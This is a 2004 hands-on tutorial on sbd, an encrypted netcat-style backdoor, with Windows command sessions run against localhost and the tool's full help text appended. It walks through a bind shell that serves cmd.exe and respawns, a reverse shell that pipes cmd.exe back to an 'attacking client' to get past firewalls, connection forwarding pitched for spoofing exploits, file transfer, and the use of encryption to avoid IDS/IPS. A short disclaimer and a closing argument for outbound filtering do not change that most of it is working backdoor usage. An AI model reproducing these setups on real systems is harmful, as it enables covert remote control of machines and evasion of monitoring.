A small tutorial on sbd, Shadowinteger's Backdoor.

Version 1.0 by xxradar

mailto:xxradar@radarhack.com
http://www.radarhack.com

1. Introduction.

An article on http://www.secureit.co.il discussed the availability of sbd (Shadowinteger's Backdoor), available at http://www.cycom.se/dl/sbd. It is described as a 'Netcat-clone, designed to be portable and offer strong encryption'. It supports aes-128 encryption and is available on most platforms, including win32 and Linux.
Let's check out some possibilities, using simple examples.

Please note that all testing is done in a private test environment. The results are described in this paper using 127.0.0.1 addresses. This paper is solely for educational use and the techniques are only to be reproduced in a test environment. Do not use this information to cause harm to other computers and/or people.

2. Connecting to a remote server

The simplest example explains on how to establish a TCP connection to a remote server and issue some protocol commands. Specifying the '-c off' switch disables the default built-in encryption of the sbd client.

```
D:\sbd-1.27\binaries>sbd -c off www.radarhack.com 80
GET / HTTP/1.1

Date: Thu, 17 Jun 2004 18:38:03 GMT
Server: Apache/1.3.27 (Unix) mod_jk/1.2.0 Chili!Soft-ASP/3.6.2 mod_perl/1.26 mod
_throttle/3.1.2 PHP/4.3.1 FrontPage/4.0.4.3 mod_ssl/2.8.11 OpenSSL/0.9.6h
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

127
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
….
```

3. Chatting

The next example shows how to use sbd as a 'chat client' and 'server'. All the communications are by default encrypted by AES and preceded with a PREFIX ('-P prefix'). By specifying the '-l' switch, sbd is put in listing mode on TCP port 100 ('-p 100')

On the server side:

```
D:\sbd-1.27\binaries>sbd  -P xxradar -l -p 100
demolisher: I the connector ....
I'm de receiver ....
```

On the client side:

```
D:\sbd-1.27\binaries>sbd -P demolisher 127.0.0.1 100
I the connector ....
xxradar: I'm de receiver ....
```

From the moment the client disconnects, the server side will exit. In order to ‘respawn’ the server, specify the ‘-r seconds’ switch. The server will be listening again after the specified amount of time. This might prevent the backdoor from existing and prevent to reconnect. Specifying a time of 0 seconds, will respawn the server immediately.

```
D:\sbd-1.27\binaries>sbd  -r 8 f -P server -l -p 100
demolisher: test1
demolisher: test2

D:\sbd-1.27\binaries>sbd -P demolisher 127.0.0.1 100
test1
^C
D:\sbd-1.27\binaries>sbd -P demolisher 127.0.0.1 100
connect(): WSAECONNREFUSED

D:\sbd-1.27\binaries>sbd -P demolisher 127.0.0.1 100
connect(): WSAECONNREFUSED

… after 8 seconds ….

D:\sbd-1.27\binaries>sbd -P demolisher 127.0.0.1 100
test2
^C
D:\sbd-1.27\binaries>
```

5. Getting a command shell

Let’s get into something more ‘interesting’. If you want to setup an encrypted connection on neither what TCP port, providing you with a command shell? Here it is!

On the server side:

```
D:\sbd-1.27\binaries>sbd  -r 0  -l -p 100 -e cmd.exe
```

On the server side:

```
D:\sbd-1.27\binaries>sbd  127.0.0.1 100
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

D:\sbd-1.27\binaries>date
date
The current date is: Thu 06/17/2004
Enter the new date: (mm-dd-yy)
```

Using the monitor switch ‘-m on’ on the server side, will display on the server side an echo of the communication.

On the server side:

```
D:\sbd-1.27\binaries>sbd  -m on -r 0  -l -p 100 -e cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

D:\date
date
The current date is: Thu 06/17/2004
Enter the new date: (mm-dd-yy)
```

On the client side:

```
D:\sbd-1.27\binaries>sbd  127.0.0.1 100
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

D:\date
date
The current date is: Thu 06/17/2004
Enter the new date: (mm-dd-yy)
```

6. Creating a reverse shell

The previous example is quite simple, but you need to be able to connect to an open port on the server on which the backdoor is running. This will be often impossible, due to firewall configurations. Chances are much bigger, if we could make the shell connect to the outside (assuming the server can connect out for some services like SMTP, http, dns, ….) where our sbd client is listening.

First of all, create two listening sockets on the attacking client. The first one will allow to send commands to the backdoor.

```
D:\sbd-1.27\binaries>sbd -l -p 2000
dir
```

A different cmd shell will function as output channel.

```
D:\sbd-1.27\binaries>sbd -l -p 3000
…
 Volume in drive D is BACKUP
 Volume Serial Number is 584C-2AAD

 Directory of D:\

06/17/2004  09:58 PM    <DIR>          .
06/17/2004  09:58 PM    <DIR>          ..
06/17/2004  09:27 PM                15 backup.txt
08/23/2001  02:00 PM           114,688 calc.exe
06/17/2004  10:00 PM                20 command.txt
06/17/2004  10:01 PM                 0 dump.txt
06/17/2004  09:25 PM                15 in.log
…

D:\>
```

Then run the following command on the server

```
D:\sbd-1.27\binaries>sbd 127.0.0.1 2000 | cmd.exe | sbd 127.0.0.1 3000
```

This command actually connects to port 2000 and will receive commands from the client, which are piped in the cmd.exe. The output is send back across another connection back to the attacker.

7. TCP connection forwarding

In the next example, a listening socket is setup that will forward the in client’s input to a next server. This might be a handy trick to forward and spoof an exploit☺. Note that the return data is only displayed at the server side of sbd. (You can create an additional pipe to return the info to the client).

On the server side:

```
D:\sbd-1.27\binaries>sbd -vv -l -p 90 | sbd -c off www.radarhack.com 80
listening on port 90
connect to 127.0.0.1:90 from 127.0.0.1:1700 (localhost)

HTTP/1.1 302 Found
Date: Sun, 20 Jun 2004 14:07:42 GMT
Server: Apache/1.3.27 (Unix) mod_jk/1.2.0 Chili!Soft-ASP/3.6.2 mod_perl/1.26 mod
_throttle/3.1.2 PHP/4.3.1 FrontPage/4.0.4.3 mod_ssl/2.8.11 OpenSSL/0.9.6h
Location: http://www.radarhack.com/error_docs/not_found.html
Connection: close
Content-Type: text/html; charset=iso-8859-1
```

On the client side:

```
D:\sbd-1.27\binaries>sbd 127.0.0.1 90
HEAD / HTTP/1.0
```

8. Logging to a file or transferring files

Logging to a file is as simple as illustrated in the next examples. (You must specify the < NUL >!)

On the server side:

```
D:\sbd-1.27\binaries>sbd  -l -p 100 < NUL > in.log

D:\sbd-1.27\binaries>type in.log
This is a test!
```

On the client side:

```
D:\sbd-1.27\binaries>sbd  127.0.0.1 100
this is a test
^C
D:\sbd-1.27\binaries>
```

Copying files is illustrated in the next example (works also with executable files)

On the server side:

```
D:\sbd-1.27\binaries>sbd  -l -p 100 < NUL > backup.txt

D:\sbd-1.27\binaries>type backup.txt
this is a test

D:\sbd-1.27\binaries>
```

On the client side:

```
D:\sbd-1.27\binaries>sbd  127.0.0.1 100 < in.log
```

9. Conclusion

After evaluating (or playing in other words), the tool seems very useful and easy to use. It contains (much) less features than netcat, although it offers build-in encryption, which can be useful to avoid IDS/IPS systems, although some will detect malicious behavior, if used on well-known ports.
The example of the reverse shell should prove that a decent configuration of firewalls in the outbound direction is necessary. In the scenario that a Trojan can be installed on a webserver, it is very important to prevent that this server can connect back out of the network, resulting in a shell for the attacker.

If you feel that some important information is missing or mistakes are made, please contact me on xxradar@radarhack.com

Appendix A

```
D:\sbd-1.27\binaries>sbd -h
sbd 1.27 Copyright (C) 2004 Michel Blomgren <michel@cycom.se>
$Id: sbd.c,v 1.27 2004/06/13 00:50:23 shadow Exp $

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.

connect (tcp): sbd [-options] host port
listen (tcp):  sbd -l -p port [-options]
options:
    -l          listen for incoming connection
    -p          choose port to listen on, or source port to connect out from
    -e prog     program to execute after connect (e.g. -e cmd.exe or -e bash)
    -r n        infinitely respawn/reconnect, pause for n seconds between
                connection attempts. -r0 can be used to re-listen after
                disconnect (just like a regular daemon)
    -c on|off   specify whether you want to use the built-in AES-CBC-128 +
                HMAC-SHA1 encryption implementation (by Christophe Devine -
                http://www.cr0.net:8040/). default is: -c on
    -k secret   override default phrase to use for encryption (secret must be
                shared between client and server)
    -q          hush, quiet, don't print anything (overrides -v)
    -v          be verbose
    -n          toggle numeric-only IP addresses (don't do DNS resolution). if
                you specify -n twice, original state will be active (i.e. -n
                works like a on/off switch).
    -m          toggle monitoring (snooping) on/off (only used with the -e
                option). snooping can also be turned on by specifying -vv (-v
                two times).
    -P prefix   add prefix (+ a hardcoded separator) to all outbound data.
                this option is mostly only useful for sbd in "chat mode" (to
                prefix lines you send with your nickname).
    -H on|off   highlight incoming data with a hardcoded (color) escape
                sequence (for e.g. chatting). default is: -H off
    -V          print version banner and exit (include that output in your
                bug report and send bug report to michel@cycom.se)
win32 specific options:
    -D on|off   detach from console (FreeConsole()) (on=yes or off=no).
                default is: -D off
    -X on|off   when using the -e option, translate incoming bare LFs or CRs
                to CR+LF (this must be on if you're executing command.com on
                Win9x). default is: -X off
    -1 on|off   whether to make sbd run only one instance of itself or not.
                instance check is implemented using CreateSemaphore() (with an
                initcount and maxcount of 1) and WaitForSingleObject(). if
                WaitForSingleObject() returns WAIT_TIMEOUT we assume there's
                already an instance running. default is: -1 off
note: when receiving files under win32, always use something like this:
C:\>sbd -lvp 1234 < NUL > outfile.ext
```